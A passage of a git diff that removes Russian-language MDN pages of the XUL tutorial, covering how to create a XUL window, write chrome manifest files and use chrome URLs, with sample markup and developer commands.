-slug: XUL_Tutorial/Creating_a_Window
-tags:
- - XUL_Tutorial
-translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Window
----
-<p> {{ PreviousNext("XUL Tutorial:Manifest Files", "XUL Tutorial:Adding Buttons") }}</p>
-
-<p><br>
- На страницах этого руководства мы постепенно соберем диалоговое окошко поиска файлов. Сперва познакомимся с базовым синтаксисом XUL файла.</p>
-
-<h3 id=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.B5.D0.BC_XUL_.D1.84.D0.B0.D0.B9.D0.BB" name=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.B5.D0.BC_XUL_.D1.84.D0.B0.D0.B9.D0.BB">Создаем XUL файл</h3>
-
-<p>Файлу можно дать любое имя, однако, оно долно иметь расширение «.xul». Структура простейшего XUL файла может быть такой:</p>
-
-<pre>&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
-
-&lt;window
- id="findfile-window"
- title="Find Files"
- orient="horizontal"
- xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-&lt;!-- Тут будут другие элементы --&gt;
-&lt;/window&gt;
-</pre>
-
-<p>Это окно не выполняет никаких действий, так как в нем нет ни одного элемента (их мы добавим в следующем разделе руководства). Рассмотрим код строчка за строчкой:</p>
-
-<ol>
- <li><strong>&lt;?xml version="1.0"?&gt;</strong><br>
- Это строка просто показывает, что файл целиком состоит из XML-данных. Такая прагма должна быть первым элементом в каждом XUL-файле, так же как и в каждом XHTML файле.</li>
- <li><strong>&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;</strong><br>
- Здесь задается стиль, который будет применен к элементам текущего документа (в этом примере — CSS-файл). Это стандартный способ задать стилевой файл для XML-документа. В этом случае мы импортируем стили из глобальной части пакета офорления (скина). Здесь не указан конкретный файл, поэтому Mozilla сама решит, какие файлы в директории использовать. А именно будет выбран и подгружен основополагающий файл «global.css». Этот файл содержит описание внешнего вида по умолчанию всех элементов XUL. Так сделано потому, что XML никак не определяет внешний вид своих элементов. Чаще всего системный стиль подключают первым в большинстве XUL-документов. Используя инструкцию <code>&lt;?xml-stylesheet ... ?&gt;</code>, вы можете подключать собственные стилевые файлы, другие системные стили, а так же стили любых расширений Мозилы. Подключить CSS-файл можно так же внутри вашего файла с помощью директивы @import. Это позволит уменьшить количество директив в заголовке XUL-документа.</li>
- <li><strong>&lt;window</strong><br>
-  Эта строка указывает, что вы описываете элемент {{ XULElem("window") }}(окно). Каждое окно описывается в отдельном файле. Этот тэг очень похож на тэг BODY в HTML. Внутри тэга {{ XULElem("window") }} можно разместить множество атрибутов -- в данном случае четыре. В данном примере каждый атрибут размещён в отдельной строке, однако, это не обязательно.</li>
- <li><strong>id="findfile-window"</strong><br>
- Атрибут <code>{{ XULAttr("id") }}</code> используется как идентификатор, чтобы мы могли получить доступ к окну из наших скриптов. Атрибут <code>id</code> применим к любому элементу. В качестве значения идентификатора, вы можете указать любую строку (разумеется, лучше, если она что-то значит).</li>
- <li><strong>title="Find Files"</strong><br>
- Атрибут <code>{{ XULAttr("title") }}</code> определяет текст, содержащийся в заголовке окна, когда оно отображено. В данном примере это будет 'Find Files'.</li>
- <li><strong>orient="horizontal"</strong><br>
- Атрибут <code>{{ XULAttr("orient") }}</code> Определяет расположение элементов в окне. Значение  <code>horizontal</code> указывает, что объекты должны размещаться в окне по горизонтали. Вы так-же можете использовать значение <code>vertical</code>, которое означает, что объекты будут выстраиваться в колонки. Это значение принимается по умолчанию, так-что, если вы хотите, чтобы элементы были расположены вертикально, просто не определяйте этот атрибут.</li>
- <li><strong>xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;</strong><br>
- Эта строка определяет пространство имён XUL. Вы должны указать эту строку в элементе window, чтобы указать, что все потомки этого окна являются потомками XUL. Обратите внимание, что никаких данных с этого URL никогда не будет запрошено или получено, поскольку Mozilla способна самостоятельно распознать данный URL.</li>
- <li><strong><span class="nowiki">&lt;!-- Тут будут другие элементы --&gt;</span></strong><br>
- Блок с комментариями. Можете заменить его чем нибудь полезным(кнопками, меню или другими компонентами интерфейса). Мы сделаем это в следующих разделах.</li>
- <li><strong>&lt;/window&gt;</strong><br>
-   Закрывающий тэг {{ XULElem("window") }}. Это конец файла.</li>
-</ol>
-
-<h3 id="Opening_a_Window" name="Opening_a_Window">Открытие окна</h3>
-
-<p>Существует несколько способов открытия окна XUL. Если Вы только на стадии разработки, то можете просто ввести URL (chrome:, file: либо другой тип URL) в адресной строке браузера Mozilla. Также следует сделать так, чтобы XUL файлы в проводнике ассоциировались с Mozilla и запускались двойным кликом. Окно XUL появится в окне браузера, а не в новом окне, <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="but this is often sufficient during the
-early stages of development">но этого обычно бывает достаточно на ранних стадиях разработки</span></span>.</p>
-
-<p>Правильнее, конечно, открыть окно при помощи JavaScript. Новый код для этого не нужен, Вы можете пользоваться функцией <code><a href="/ru/DOM/window.open" title="ru/DOM/window.open">window.open()</a></code>. Но <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="However, one additional flag, called">один дополнительный флаг, называемый</span></span> 'chrome' необходимо указать браузеру, чтобы он знал, что это <a href="/ru/DOM/window.open#Window_functionality_features" title="ru/DOM/window.open#Window_functionality_features">chrome</a> документ. При этом окно откроется без панелей инструментов, меню и т.д. Код представлен ниже:</p>
-
-<pre>window.open(url,windowname,flags);
-
-где среди флагов есть флаг "chrome" в этом примере
-
-window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
-</pre>
-
-<div class="highlight">
-<h5 id="The_findfile.xul_example" name="The_findfile.xul_example">Пример findfile.xul</h5>
-
-<p>Начнем с создания базового файла для диалога поиска файлов. Создайте файл с именем findfile.xul и переместите его в папку content, которая была указана в файле findfile.manifest (мы его создали ранее). Вставьте шаблон XUL, показанный вверху страницы и сохраните файл.</p>
-</div>
-
-<p>Вы можете использовать параметр командной строки '-chrome' чтобы задать XUL файл, который будет открываться при запуске Mozilla. Если он не задан, то откроется окно по умолчанию. Обычно это окно браузера. Например, мы можем открыть диалог поиска файлов следующим образом:</p>
-
-<pre>mozilla -chrome chrome://findfile/content/findfile.xul
-
-mozilla -chrome resource:/chrome/findfile/content/findfile.xul
-</pre>
-
-<p>При выполнении этих команд в командной строке (если считать, что она есть на Вашей платформе), диалог поиска файлов откроется вместо окна браузера Mozilla. Конечно же, из-за того, что Мы не добавили никаких UI элеметнов, Мы не увидим внешний вид окна. Мы добавим несколько элементов в следующей статье.</p>
-
-<p>Для того, чтобы увидеть результат, следующий код откроет окно закладок:</p>
-
-<pre class="eval">mozilla -chrome <a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a>
-
-<span class="highlightred">Если Вы пользуетесь Firefox, попробуйте это:
-
-</span>firefox -chrome <a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a>
-</pre>
-
-<p>Аргумент '-chrome' не дает файлу никаких повышенных привилегий, а вызывает указанный файл и открывает его поверх всех окон. Только URL типа chrome имеют дополнительные привилегии.</p>
-
-<div class="note"><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a> содержит XUL редактор, который позволяет вводить XUL код и видеть результат в реальном времени!</div>
-
-<h3 id="Troubleshooting" name="Troubleshooting"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Troubleshooting">Устранение неполадок</span></span></h3>
-
-<ul>
- <li>Если окно XUL не показывается на рабочем столе, но есть значок на панели задач, проверьте xml-stylesheet. Убедитесь, что Вы указали стили правильно:</li>
-</ul>
-
-<pre class="eval"> &lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
-</pre>
-
-<p>В следующей статье мы будем <a href="/ru/XUL_Tutorial/Adding_Buttons" title="ru/XUL_Tutorial/Adding_Buttons">добавлять кнопки</a>.</p>
-
-<p>{{ PreviousNext("XUL Tutorial:Manifest Files", "XUL Tutorial:Adding Buttons") }}</p>
-
-<p>{{ languages( { "ja": "ja/XUL_Tutorial/Creating_a_Window", "pl": "pl/Kurs_XUL/Tworzenie_okna" } ) }}</p>
diff --git a/files/ru/xul_tutorial/index.html b/files/ru/xul_tutorial/index.html
deleted file mode 100644
index bf714188fa..0000000000
--- a/files/ru/xul_tutorial/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: XUL Tutorial
-slug: XUL_Tutorial
----
-<p> </p>
-
-<p>This page was auto-generated because a user created a sub-page to this page.</p>
-
-<p> </p>
diff --git a/files/ru/xul_tutorial/manifest_files/index.html b/files/ru/xul_tutorial/manifest_files/index.html
deleted file mode 100644
index af30c6d0df..0000000000
--- a/files/ru/xul_tutorial/manifest_files/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: Файлы манифеста (Manifest)
-slug: XUL_Tutorial/Manifest_Files
-translation_of: Archive/Mozilla/XUL/Tutorial/Manifest_Files
----
-<p>{{PreviousNext("XUL/Tutorial/The_Chrome_URL", "XUL/Tutorial/Creating_a_Window")}}</p>
-<p>В этой главе мы опишем, как собирать chrome и XUL файлы в пакеты и как создавать для этих пакетов файлы манифестов.</p>
-<div id="section_1">
- <h2 id="Пакеты">Пакеты</h2>
- <div class="editIcon">
- Пакет - это набор XUL файлов и сценариев, определяющих функциональность пользовательского интерфейса. Пакеты могут быть инсталлированы в Mozilla и на них можно ссылаться с помощью chrome URL-ов. Пакет может содержать любые типы файлов и может быть распределен по поддиректориям для разных частей пакета. На диске пакет может храниться либо в распакованном виде с своей папке, либо в виде JAR архива.</div>
- <div class="editIcon">
-  </div>
- <h2 id="Manifest_Files" name="Manifest_Files">Файлы Манифеста</h2>
-</div>
-<div id="section_2">
- <p>Файлы манифеста описывают пакет и отображают его расположение на диске на chrome URL. Файлы манифеста расположенные в папке chrome (<a href="../../../../en/Runtime_Directories#Firefox" rel="internal" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default; background-clip: initial; background-color: initial; padding-right: 0px;">&lt;ApplicationDirectory&gt;</a>/chrome) считываются при запуске приложения Mozilla для того, чтобы определить, какие пакеты установлены. Это означает, что все, что вам необходимо сделать для того, чтобы установить новый пакет, это добавить новый файл манифеста либо в папку chrome приложения или в папку chrome определенного пользователя. Второй из вышеперечисленных вариантов можно использовать, если у вас нет достаточных прав на запись в папку самого приложения.</p>
- <p>Если вы хотите только попробовать тестирование привилегированного XUL кода в браузере Firefox, вы можете легко сделать это использовав манифест, состоящий всего лишь из одной строки:</p>
- <ol>
- <li>Создайте новую папку где-нибудь на диске. Например на компьютере под управлением Windows вы можете создать папку "C:\testfiles".</li>
- <li>Создайте новый <strong>ASCII</strong><sup>1</sup> файл с именем test.manifest в папке chrome. Имя файла не имеет особого значения, главное, чтобы его расширение было .manifest. <sub>( 1. не работает с UTF-8 с BOM.) </sub></li>
- <li>Напишите в созданном файле строку:</li>
- </ol>
- <pre class="eval"> content tests <a class="external" rel="freelink">file:///C:/testfiles/</a>
-</pre>
- <p>Путь к файлам должен указывать на папку, которую вы создали на первом шаге. Если вы не уверены, каков путь к этой папке, откройте папку в браузере и скопируйте адрес из адресной строки.</p>
- <p>Это все! Теперь все, что вам нужно сделать, это добавить несколько XUL файлов в эту новую папку, и вы сможете загружать их набирая chrome URL следующего вида "<a class="external" rel="freelink">chrome://tests/content/tests.xul</a>&lt;filename&gt;". Конечно же вам необходимо перезапустить браузер, чтобы внесенные изменения вступили в силу. Если же файл не загружается, проверьте, правильно ли вы указали путь к папке.</p>
- <p>Базовый синтаксис строк файла манифеста для пакетов контента следующий:</p>
- <p>'content &lt;packagename&gt; &lt;filepath&gt;'</p>
- <p>Первое поле 'content' обозначает пакет контента. Для тем это будет 'skin', а 'locale' - соответственно для локалей. Название пакета в вышеприведенном примере - 'tests', что означает, что первое поле в chrome URL - это 'tests', как например <a class="external" rel="freelink">chrome://tests/content/sample.xul</a>. Если бы название пакета было 'browser', chrome URL выглядел бы так <a class="external" rel="freelink">chrome://browser/content/browser.xul</a>. Последнее поле - это путь к папке, в которой находятся файлы. Это может быть как путь к папке на локальном диске указанный как URL файла, так и к JAR архиву, указанному с помощью jar URL, который мы опишем ниже. Вы можете описать несколько пакетов включив еще строки в файл манифеста.</p>
- <p>Файл browser.manifest, который используется в Firefox, выглядит примерно так:</p>
- <pre>content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes
-content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes
-overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
-overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
-overlay chrome://browser/content/pageInfo.xul chrome://pippki/content/PageInfoOverlay.xul
-</pre>
- <p>Здесь перечислены два пакета, 'branding' и 'browser'. Также указаны три оверлея, что дает возможность объединять вместе контент из разных пакетов. В расширениях оверлеи используются максимально часто, так как расширения интегрируют свой интерфейс в интерфейс браузера.</p>
- <p>Пути к файлам пакетов  'branding' и 'browser' используют JAR URL, поскольку контент упаковывается в архив. Архив JAR может быть создан с помощью утилиты ZIP. Для файла JAR, расположенного в каталоге chrome, синтаксис довольно прост:</p>
- <p>jar:&lt;filename.jar&gt;!/&lt;path_in_archive&gt;</p>
- <p>Для пакета 'browser' архив - browser.jar, располагается рядом с файлом манифеста в каталоге chrome. Путь 'content/browser' указывает путь внутри архива, в котором располагаются файлы XUL. Вам не требуется указывать путь, если у вас нет никаких каталогов в архиве. В этом случае файлы пакета 'branding' хранятся по другому пути в том же самом архиве.</p>
- <p>Для пакета 'tests', созданного выше, файлы не упаковываются в архив, вместо этого используется прямой путь доступа к файлам. Это хорошо для разработки, так как вы не должны упаковывать все файлы каждый раз, когда вы изменяете их. Однако, при распространении приложения или расширения, вы скорее всего захотите упаковать их в архив, чтобы избежать необходимости устанавливать множество отдельных мелких файлов.</p>
- <p>Часть xpcnativewrappers=yes в конце строки декларации - флаг, который может использоваться опционально. В JavaScript для веб-страницы возможно переопределить встроенные функции с их собственным кодом. Если используется флаг xpcnativewrappers, это указывает, что сценарии, выполняющиеся в привилегированном окружении, не вызывают эти переопределенные версии, а используют вместо этого исходные встроенные версии. Иначе, если бы расширение попыталось вызвать модифицированные версии, то оно, вероятно, не работало бы должным образом, или хуже, создало бы дыру в системе безопасности. Этот флаг был добавлен, чтобы предотвратить эту проблему и должен всегда использоваться для более новых расширений, но не учитывается для более старых расширений, которые могут быть несовместимыми с изменением. Для получения дополнительной информации об этой функции, см. <a href="../../../../en/XPCNativeWrapper" rel="internal">XPCNativeWrapper</a>.</p>
-</div>
-<h2 class="editable" id="Темы_и_локали"><span>Темы и локали</span></h2>
-<div class="editIcon">
- Для тем и локалей синтаксис сходен с используемым для пакетов контента, но вы всегда должны указывать пакет контента, для которого вы предоставляете тему или локаль. Например:</div>
-<pre>skin browser classic/1.0 jar:classic.jar!/skin/classic/browser/
-locale browser en-US jar:en-US.jar!/locale/browser/
-</pre>
-<p>Для этого было добавлено новое поле, указывающее, что эти тема и локаль используются для браузера. Имя скина - 'classic/1.0'. В данном случае номер версии является частью названия темы, но это необязательно, если вы создаете свою собственную тему. Mozilla не обрабатывает номер версии каким-либо особенным образом; номер версии - это просто часть названия темы. Локаль - 'en-US'. Chrome URL-ы на которые отображаются эти элементы будут выглядеть так: <a class="external" rel="freelink">chrome://browser/skin/browser.css</a> и <a class="external" rel="freelink">chrome://browser/locale/browser.dtd</a>. Если вы создаете свою собственную тему или локаль для браузера, все, что вам необходимо - создать файл манифеста с одной из двух этих строк внутри него, измененной так, чтобы подходить к вашей теме или локали.</p>
-<p>Более подробную информацию о темах см. здесь <a href="../../../../en/Themes" rel="internal">Темы</a>. Более подробно о локалях см. здесь <a href="../../../../en/Localization" rel="internal">Локализация</a>.</p>
-<div class="highlight">
- <div id="section_4">
- <h2 id="Наш_пример_диалога_поиска_файлов">Наш пример диалога поиска файлов</h2>
- <p>Давайте создадим файл манифеста для диалога поиска файлов, который мы будем разбирать в качестве примера в этом руководстве. Вы можете комбинировать все три типа в одном файле, если хотите. Это можно сделать создав расширение таким образом, что все части будут в одном файле. Мы проделаем это для диалога поиска файлов. Создайте файл findfile.manifest в папке chrome. Впишите в него следующие строки:</p>
- <div>
-  </div>
- <pre>content findfile file:///findfile/content/
-skin findfile classic/1.0 file:///findfile/skin/
-locale findfile en-US file:///findfile/locale/
-</pre>
- <p>Создайте новые папки, перечисленные выше. Не имеет значения, где именно будут созданы эти папки, но файловые пути в манифесте должны указывать на эти папки. Скорее всего вы будете использовать такие пути к папкам, которые удобно использовать в вашей операционной системе. Если бы мы распространяли пакет, мы бы упаковали все файлы в JAR файл, и модифицировали бы пути. В данном же случае мы пока что только демонстрируем файлы манифестов и готовим папки для примеров, которые будут описаны в нижеследующих главах.</p>
- <p>Заметьте, как второе поле строк для скина и локали указывает 'findfile'. Это означает, что скин и локаль изменили пакет findfile, который был указан в первой строке. Три пути выше указывают подкаталоги для каждой части. Возможно вы захотите создать эти подкаталоги, чтобы держать все файлы по отдельности.</p>
- <p> </p>
- </div>
-</div>
-<div id="section_5">
- <h2 id="Установка_пакета">Установка пакета</h2>
- <p class="editIcon">Для того, чтобы установить приложение, вы должны сделать для него инсталлятор или включить его в инсталлятор другого приложения. Используемый метод зависит от того, какого рода приложение вы создаете. Для расширений вам необходимо будет создать файл <a href="../../../../en/Install_Manifests" rel="internal">install.rdf</a>, который описывает, что именно будет установлено, кто является автором расширения и какая версия браузера или другого приложения совместима с вашим расширением. Необходима <a href="../../../../en/Bundles" rel="internal">Особая структура папок</a>, так как для расширений действуют ограничения на месторасположение, в которое они могут устанавливать свои файлы. Расширение упаковывается в <a href="../../../../en/XPI" rel="internal">XPI</a> файл. XPI это сокращение от <a href="../../../../en/XPInstall" rel="internal">XPInstall</a> и используется для установки компонентов Mozilla-ой. Подобно JAR файлу XPI это всего лишь ZIP архив, но с другим расширением, поэтому вы можете создавать XPI файлы с помощью ZIP архиватора.</p>
- <p>Менеджер расширений Firefox выполняет установку расширений, упакованных в XPI файлы, автоматически. Рекомендуется выкладывать все расширения на <a class="link-https" href="https://addons.mozilla.org/" rel="external nofollow" title="https://addons.mozilla.org/">Сайт дополнений Mozilla</a>, на котором пользователи могут найти, чтобы установить. Конечно расширения можно устанавливать с любых сайтов, но другие сайты не сконфигурированы так, чтобы позволять установку по умолчанию.</p>
- <p>Также для установки файлов можно использовать сценарий на языке JavaScript. Это позволяет вам копировать файлы в любое месторасположение на диске и выполнять другие задания управления файлами. Однако приложения, установленные с помощью сценария не будут отображаться в менеджере расширений, к тому же не будет возможности их автоматизированной деинсталляции. Из-за этих причин сценарии установки используются не часто.</p>
- <p>Что касается самостоятельных приложений, то их можно упаковать с помощью программы XULRunner. При этом будет создан отдельный исполняемый файл, и приложение может быть установлено независимо от браузера.</p>
- <p>Более подробно о создании расширений см. <a href="../../../../en/Extensions" rel="internal">Расширения</a>. Дополнительная информация о XULRunner, в главе <a href="../../../../en/XULRunner" rel="internal">XULRunner</a>.</p>
-</div>
-<div id="section_6">
- Устаревшие приложения<br>
- <p>Если вы создаете приложения для устаревших версий программ Mozilla, т.е., до Firefox 1.5 или Mozilla 1.8, процесс немного усложняется. Ниже описано, как создать пакет для старых версий. Этот раздел можно пропустить, если вы создаете только новые расширения или XUL приложения.</p>
- <div class="note">
- <strong>Примечание</strong>: Этот устаревший процесс, но он тем не менее также используется и для нового продукта SeaMonkey 1.0. Ядро кода этого проекта еще не работает с новым форматом <em>"Manifest"</em>.</div>
- <pre class="eval">&lt;?xml version="1.0"?&gt;
-
-&lt;RDF:RDF xmlns:RDF="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>"
- xmlns:chrome="<a class="external" href="http://www.mozilla.org/rdf/chrome#" rel="freelink">http://www.mozilla.org/rdf/chrome#</a>"&gt;
-
- &lt;RDF:Seq about="urn:mozilla:package:root"&gt;
- &lt;RDF:li resource="urn:mozilla:package:<span style="color: rgb(255, 0, 0);"><span class="highlightred">myapplication</span></span>"/&gt;
- &lt;/RDF:Seq&gt;
-
- &lt;RDF:Description about="urn:mozilla:package:<span style="color: rgb(255, 0, 0);"><span class="highlightred">myapplication</span></span>"
- chrome:displayName="<span style="color: rgb(0, 0, 255);"><span class="highlightblue">Application Title</span></span>"
- chrome:author="<span style="color: rgb(0, 0, 255);"><span class="highlightblue">Author Name</span></span>"
- chrome:name="<span style="color: rgb(255, 0, 0);"><span class="highlightred">myapplication</span></span>"
- chrome:extension="true"/&gt;
-
-&lt;/RDF:RDF&gt;
-</pre>
- <pre class="eval">content,install,url,<span class="highlightred"><a class="external" rel="freelink">file:///main/app/</a></span>
-</pre>
- <ol>
- <li>Создайте папку где-либо на вашем жестком диске. Многие создают подкаталог в папке chrome Mozilla, но это вовсе не обязательно. Папка может располагаться в любом месте на любом диске. Поместите ваши XUL файлы в эту папку.</li>
- <li>Создайте файл с именем "contents.rdf" и поместите его также в эту папку. Скопируйте текст из рамки ниже в ваш файл "contents.rdf". Этот файл используется для определения идентификатора приложения, его названия, автора, версии и т.п. данных.</li>
- <li>Измените выделенные части файлы выше на вашу собственную информацию. Текст 'myapplication' выделенный красным замените на ID вашего приложения. Вы можете выбрать любое название, но, как правило, ID делают совпадающим с названием всего приложения в целом. Замените выделенный синим цветом текст на название вашего приложения и имя его автора.</li>
- <li>Если поле 'chrome:extension' равно истине, приложение является расширение для Mozilla Firefox и будет отображаться в окне Расширений в настройках браузера. Если же вы установите значение "false", в окне расширений его видно не будет.</li>
- <li>Запишите "contents.rdf" и убедитесь, что он находится в папке, которую вы создали на шаге №1.</li>
- <li>Откройте &lt;mozilla-directory&gt;/chrome/installed-chrome.txt, где &lt;mozilla-directory&gt; - это папка, в которую установлена ваша Mozilla. Выйдите из Mozilla прежде чем выполнить данный шаг.</li>
- <li>Далее, вы должны зарегистрировать новое приложение в Mozilla, чтобы она знала, где его искать. Добавьте строку в конец файла "installed-chrome.txt", указывающую на новую, созданную вами на Шаге №1, папку. Измените выделенный текст на адрес папки в формате URL. Убедитесь в том, что в этой ссылке в конце строки стоит косая черта и что вы нажали Enter в конце строки, т.е. создали пустую строку. Если вы не уверены, каким должен быть URL, откройте папку, созданную на Шаге №1 в браузере Mozilla и скоируйте URL из поля адреса. Помните, что ссылка эта должна быть адресом папки, но не файла.</li>
- <li>Удалите файл &lt;mozilla-directory&gt;/chrome/chrome.rdf.</li>
- <li>Запустите Mozilla. Вам должны быть доступны любые XUL файлы, которые вы поместили в папку, с помощью URL вида: <strong>chrome://<span class="highlightred">applicationid</span>/content/file.xul</strong> где "file.xul" - это имя файла. Главный XUL файл, который вы можете загрузить с помощью URL ярлыка <strong>chrome://<span class="highlightred">applicationid</span>/content/</strong>, будет иметь вид "applicationid.xul".</li>
- </ol>
- <p>Если вы создаете части скина и/или локали, повторите вышеприведенные шаги, с отличием в том, что формат файла "contents.rdf" будет несколько иным. Вы можете посмотреть на файлы "contents.rdf" других приложений, чтобы узнать подробности.</p>
-</div>
-<h2 class="editable" id="Выявление_неисправностей"><span>Выявление неисправностей </span></h2>
-<p>Создание chrome пакетов часто может быть довольно сложным и выявить возникающие проблемы непросто. Ниже приводится несколько советов на тот случай, если у вас что-то застопорилось.</p>
-<ul>
- <li>Откройте файл &lt;mozilla-directory&gt;/chrome/chrome.rdf. Вы найдете там ссылки на ваш ID приложения. Если его там нет, что-то неверно с регистрацией. Если он там есть, возможно вы используете неверный chrome URL при загрузке файла.</li>
- <li>Попробуйте удалить файл &lt;mozilla-directory&gt;/chrome/chrome.rdf. Он будет создан заново. Также удалите полностью папку &lt;mozilla-directory&gt;/chrome/overlayinfo/, если вы используете оверлеи.</li>
- <li>Убедитесь, что URL в строке, которую вы добавили в installed-chrome.txt, заканчивается косой чертой, а сам файл завершается пустой строкой.</li>
- <li>В ОС Windows, URL файлов выглядят так "<a class="external" rel="freelink">file:///C</a>|/files/app/", где "C" - буква диска.</li>
- <li>Убедитесь, что файл "contents.rdf" находится в правильной папке и составлен правильно. Откройте файл "contents.rdf" в Mozilla, чтобы проверить, что он парсится, как валидный XML. Если это не так, вы увидите сообщение об ошибке на желтом фоне.</li>
- <li>Если вы используете отладочную сборку (build) Mozilla, при запуске на терминал будет выведена некоторая информация, сообщающая, какие chrome приложения проверяются. Посмотрите, есть ли ваше приложение в этом списке.</li>
- <li>Сообщение об ошибке "XML Parsing Error: undefined entity" в вашем XUL файле может быть вызвано ошибкой в манифесте или в jar файле, на который есть ссылка в манифесте. Например, в &lt;!DOCTYPE window SYSTEM "<a class="external" rel="freelink">chrome://fireclipse/locale/fireclipse.dtd</a>"&gt; файл dtd должен существовать и его папка должна быть правильно адресована в манифесте "locale", в противном случае при парсинге XML произойдет ошибка.</li>
-</ul>
-<p>Более подробную информацию о файлах манифеста см. <a href="../../../../en/Chrome_Registration" rel="internal">Регистрация Chrome</a>.</p>
-<p>В следующей главе мы приступаем к более подробному описанию языка XUL.</p>
-<p>{{PreviousNext("XUL/Tutorial/The Chrome URL", "XUL/Tutorial/Creating a Window")}}</p>
diff --git a/files/ru/xul_tutorial/the_chrome_url/index.html b/files/ru/xul_tutorial/the_chrome_url/index.html
deleted file mode 100644
index 753621f39a..0000000000
--- a/files/ru/xul_tutorial/the_chrome_url/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: О Chrome URL
-slug: XUL_Tutorial/The_Chrome_URL
-translation_of: Archive/Mozilla/XUL/Tutorial/The_Chrome_URL
----
-<p>{{ PreviousNext("XUL_Tutorial/XUL_Structure", "XUL_Tutorial/Manifest_Files") }}</p>
-<h3 id="Chrome_URL">Chrome URL</h3>
-<p>Ссылаться на XUL файлы можно с помощью обычного HTTP URL (или любого типа URL) так же, как и на HTML файлы. Однако на пакеты, установленные в chrome систему Mozilla можно ссылаться с помощью специальных chrome URL. Пакеты, включенные в установку Mozilla будут уже установлены, но вы можете зарегистрировать и свои собственные.</p>
-<p>Установленные пакеты имеют преимущество в том, что на них не накладывается каких-либо ограничений безопасности, что важно для многих приложений. Другим достоинством по сравнению с прочими типами URL является то, что они автоматически поддерживают множество тем и локалей. Например, chrome URL позволяет вам ссылаться на файл в теме, например на изображение, но без необходимости знать, какую именно тему оформления использует пользователь. Поскольку имена файлов одинаковы во всех темах, вы можете ссылаться на файл с помощью chrome URL. Mozilla позаботится о том, чтобы определить, где находится этот файл и предоставить правильные данные. Это также означает, что не имеет значения, куда именно установлен пакет, чтобы получить к нему доступ. Chrome URL-ы не зависят от физического месторасположения файлов. Это существенно облегчает программирование приложений, содержащих множество файлов, так как вам не надо беспокоиться о деталях месторасположения этих файлов на диске.</p>
-<p>Базовый синтаксис chrome URL выглядит следующим образом:</p>
-<pre class="eval">chrome://<em>&lt;package name&gt;</em>/<em>&lt;part&gt;</em>/<em>&lt;file.xul&gt;</em>
-</pre>
-<p>Текст <em>&lt;package name&gt;</em> - это название пакета, например "messenger" или "editor". <em>&lt;part&gt;</em> - это 'content', 'skin' или 'locale' в зависимости от того, какая часть пакета вам нужна. <em>&lt;file.xul&gt;</em> - это просто имя файла.</p>
-<p><strong>Пример</strong>: <a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a></p>
-<p>Вышеприведенный пример относится к окну программы обмена сообщениями (messenger). Вы можете указать на файл, который является частью скина, заменив 'content' на 'skin' и изменив имя файла. Сходным образом, вы можете указать на файл, являющийся частью локали использовао 'locale' вместо 'content'.</p>
-<p>Когда вы открываете chrome URL, Mozilla просматривает список установленных пакетов и пытается найти JAR файл или папку, подходящие под заданное имя пакета и части пакета. Соответствие между chrome URL-ами и JAR файлами заданы в файлах манифестов, хранящихся в папке chrome. Если вы переместите файл messenger.jar в какую-либо другую папку на диске и соответствующим образом подправите манифест, Thunderbird будет продолжать нормально работать, так как он не полагается только на свое специфическое месторасположение установки на диске. Используя chrome URL-ы мы можем возложить заботу о таких деталях на Mozilla. Аналогично, если пользователь поменяет тему оформления, часть 'skin' chrome URL-а транслируется в другой набор файлов, тем не менее сам XUL и сценарии не придется изменять.</p>
-<p>Ниже приведено еще несколько примеров. Заметьте, что ни в одном из URL не указывается, какая тема или локаль используется и не указывается какая-либо определенная папка.</p>
-<pre class="eval"><a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a>
-<a class="external" rel="freelink">chrome://messenger/content/attach.js</a>
-<a class="external" rel="freelink">chrome://messenger/skin/icons/folder-inbox.gif</a>
-<a class="external" rel="freelink">chrome://messenger/locale/messenger.dtd</a>
-</pre>
-<p>Для ссылок на вложенные папки вы можете просто добавить их к концу chrome URL. Следующие URL будут ссылаться на окно закладок, указанное как для Mozilla Suite так и для Firefox, несмотря на то, что имя пакета для них различно:</p>
-<pre class="eval"><a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a> (Mozilla)
-<a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a> (Firefox)
-</pre>
-<p>Вы можете вводить chrome URL в любом месте, где могут использоваться обычные URL. Вы даже можете вводить их непосредственно в панель адреса (URL bar) в окне браузера Mozilla. Если вы введете один из URL, приведенных выше в адресную строку браузера, вы увидите, что появится окно, так же, как если бы вы ввели адрес веб-страницы и, в основном, будет работать, как если бы оно было отдельным окном. Однако некоторые диалоговые окна могут работать неправильно, поскольку они могут предполагать передачу каких-то аргументов из открывающего их окна.</p>
-<p>Вы также можете видеть, что существуют chrome URL без заданных имен файлов, такие как:</p>
